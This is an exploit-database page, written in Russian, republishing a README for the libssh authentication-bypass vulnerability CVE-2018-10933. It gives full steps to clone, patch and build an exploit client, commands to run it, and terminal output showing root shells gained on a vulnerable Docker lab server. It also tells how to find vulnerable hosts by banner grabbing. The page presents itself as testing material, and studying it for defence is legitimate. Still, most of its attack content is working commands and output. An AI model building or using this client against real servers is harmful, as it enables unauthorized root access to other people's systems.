Sploitus

Exploit for cve-2018-10933 CVE-2018-10933

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN130 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HACKERHOUSE-OPENSOURCE-CVE-2018-10933
# CVE-2018-10933

ΠžΠ±Ρ…ΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ libssh CVE-2018-10933 β€” уязвимый Docker-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠΎΡ€Ρ‚ 2222 для эксплуатации. Π’ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ proof-of-concept ΠΏΠ°Ρ‚Ρ‡ libssh для ΠΎΠ±Ρ…ΠΎΠ΄Π° Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. Для Π²Ρ…ΠΎΠ΄Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ "myuser" / "mypassword" ΠΈΠ· libssh. ΠŸΠ°Ρ‚Ρ‡ примСняСтся ΠΊ ΠΊΠΎΠΏΠΈΠΈ libssh Π² Docker-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ внСдряСт ΠΏΠ°ΠΊΠ΅Ρ‚ SSH2_MSG_USERAUTH_SUCCESS ΠΏΡ€ΠΈ любой ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ (keyboard-interactive / pubkey / gss-api ΠΈ Ρ‚.Π΄.) ΠΈ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΡ‚ состояниС клиСнтской стороны Π² Ρ€Π΅ΠΆΠΈΠΌ продолТСния. Π’ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ сСрвСр ΠΏΡ€ΠΎΠΏΠ°Ρ‚Ρ‡Π΅Π½ Π½Π° основС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эксплуатация ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΠ»Π° ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ.

root@kitploit:~
    
    
    ./build.sh
    ./run.sh
    ssh -l myuser -p 2222 localhost
    

ΠŸΡ€ΠΎΠΏΠ°Ρ‚Ρ‡Π΅Π½Π½Ρ‹ΠΉ exploit-libssh-0.8.3 ΠΈ уязвимый sshd доступны Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ для Ρ†Π΅Π»Π΅ΠΉ тСстирования. "ssh-client" ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, Π½ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΡƒ Π½Π° сСрвСрС ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠ·-Π·Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² ΠΊΠΎΠ΄Π΅ сСрвСра.

root@kitploit:~
    
    
    [root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
    [root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
    The server is unknown. Do you trust the host key (yes/no)?
    SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
    yes
    This new key will be written on disk for further usage. do you agree ?
    yes
    Requesting shell : Channel request shell failed
    [root@305b48cb932e examples]# 
    

Из advisory: "врСдоносный ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠ°Π½Π°Π»Ρ‹ Π±Π΅Π· ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ нСсанкционированному доступу".

Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½Ρ‹ΠΉ Π²Ρ‹Π²ΠΎΠ΄ libssh ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ аутСнтификация Π½Π° сСрвСрС ΠΏΡ€ΠΎΡˆΠ»Π° ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈ сСансовый ΠΊΠ°Π½Π°Π» создан. Π£Π·Π΅Π» Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½, Π½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π½Π° сторонС сСрвСра ΠΏΡ€Π΅ΠΏΡΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΊΠΎΠΌΠ°Π½Π΄. ΠΡ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ всё Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Ρ‚ΡƒΠ½Π½Π΅Π»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ/ΠΏΡ€ΠΎΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ соСдинСния Ρ‡Π΅Ρ€Π΅Π· сСрвис.

root@kitploit:~
    
    
    [2018/10/19 01:26:24.929187, 3] ssh_packet_process:  Dispatching handler for packet type 52
    [2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success:  Authentication successful
    [2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback:  packet: read type 90 [len=44,padding=19,comp=24,payload=24]
    [2018/10/19 01:26:24.971984, 3] ssh_packet_process:  Dispatching handler for packet type 90
    [2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open:  Clients wants to open a session channel
    [2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel:  Accepting a channel request_open for chan 43
    [2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write:  Enabling POLLOUT for socket
    [2018/10/19 01:26:24.972233, 3] packet_send2:  packet: wrote [len=28,padding=10,comp=17,payload=17]
    

ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ / exec ΠΈΠ»ΠΈ pty приводят ΠΊ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΌΡƒ сСансу, Π½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ ошибки Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ сСрвСра ΠΈΠ·-Π·Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ состояния Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. НиТС ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ ошибки, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ сСрвСра.

root@kitploit:~
    
    
    [2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request:  Received a shell channel_request for channel (43:0) (want_reply=1)
    [2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default:  Sending a default channel_request denied to channel 0
    

Для спСциализированных сСрвСров libssh всё Π΅Ρ‰Ρ‘ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Π°Ρ рСализация ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Π½ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· Π½ΠΈΡ… ΠΌΠΎΠ³ΡƒΡ‚ Π΄ΠΎΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΡƒΠ½Π½Π΅Π»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠ΅ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ SSH. Π£Π΄Π°Π»ΠΈΠ² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, сСрвСр становится уязвимым ΠΊ эксплойту ΠΎΠ±Ρ…ΠΎΠ΄Π° Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. БСрвСрная рСализация libssh ΠΌΠΎΠΆΠ΅Ρ‚ внСсти эту ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ эксплуатации с использованиСм ΠΏΡ€ΠΎΠΏΠ°Ρ‚Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ libssh Π½ΠΈΠΆΠ΅.

root@kitploit:~
    
    
    [root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
    [root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
    The server is unknown. Do you trust the host key (yes/no)?
    SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
    yes
    This new key will be written on disk for further usage. do you agree ?
    yes
    [root@3a184714fd21 /]# id
    uid=0(root) gid=0(root) groups=0(root)
    

Docker-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ запускаСт уязвимый ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "ssh_server_fork", ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π» ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ "libssh-0.8.3" для Ρ†Π΅Π»Π΅ΠΉ тСстирования/ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ.

# Π—Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹Π΅ поставщики

Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ поставщики практичСски Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹ этой ошибкой ΠΈΠ·-Π·Π° использования libssh.

  * F5 https://support.f5.com/csp/article/K52868493
  * Redhat https://access.redhat.com/security/cve/cve-2018-10933



libssh установлСн локально Π½Π° рядС дистрибутивов *BSD ΠΈ Linux, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ffmpeg (?), hydra ΠΈ нСбольшим числом ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² FOSS.

# Эксплойт

Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΠ°Ρ‚Ρ‡Π΅Π½Π½Ρ‹ΠΉ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ libssh ΠΈΠ· этого рСпозитория для использования Π² эксплуатации.

root@kitploit:~
    
    
    git clone https://github.com/hackerhouse-opensource/cve-2018-10933
    cd cve-2018-10933
    xz -d libssh-0.8.3.tar.xz
    tar -xvf libssh-0.8.3.tar
    cd libssh-0.8.3
    patch -p0 < ../cve-2018-10933.patch
    mkdir build
    cd build
    cmake ..
    make
    

Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ "ssh-client" ΠΈ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ для ΠΎΠ±Ρ…ΠΎΠ΄Π° Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π½Π° Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹Ρ… сСрвСрных рСализациях libssh.

root@kitploit:~
    
    
    $ ./ssh-client -l root 127.0.0.1 -p 2222
    [root@8fec78903da2 /]# id
    uid=0(root) gid=0(root) groups=0(root)
    

# Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ

Π‘ΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ уязвимых хостов ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ Π·Π°Ρ…Π²Π°Ρ‚Π° Π±Π°Π½Π½Π΅Ρ€ΠΎΠ² Π½Π° Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹Ρ… SSH-ΠΏΠΎΡ€Ρ‚Π°Ρ… (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, nmap).

root@kitploit:~
    
    
    SSH-2.0-libssh_0.8.3
    

# Благодарности

ΠžΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ находится Π² CVE-2018-10933.txt, ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΠŸΠΈΡ‚Π΅Ρ€ΠΎΠΌ Π£ΠΈΠ½Ρ‚Π΅Ρ€ΠΎΠΌ Π‘ΠΌΠΈΡ‚ΠΎΠΌ. Уязвимый Docker ΠΈ эксплойт-ΠΏΠ°Ρ‚Ρ‡ libssh Π²Ρ‹ΠΏΡƒΡ‰Π΅Π½Ρ‹ Hacker House (https://hacker.house).

# ЛицСнзия

Π­Ρ‚ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ доступны Π½Π° условиях Π»ΠΈΡ†Π΅Π½Π·ΠΈΠΈ BSD с 3 ΠΏΡƒΠ½ΠΊΡ‚Π°ΠΌΠΈ.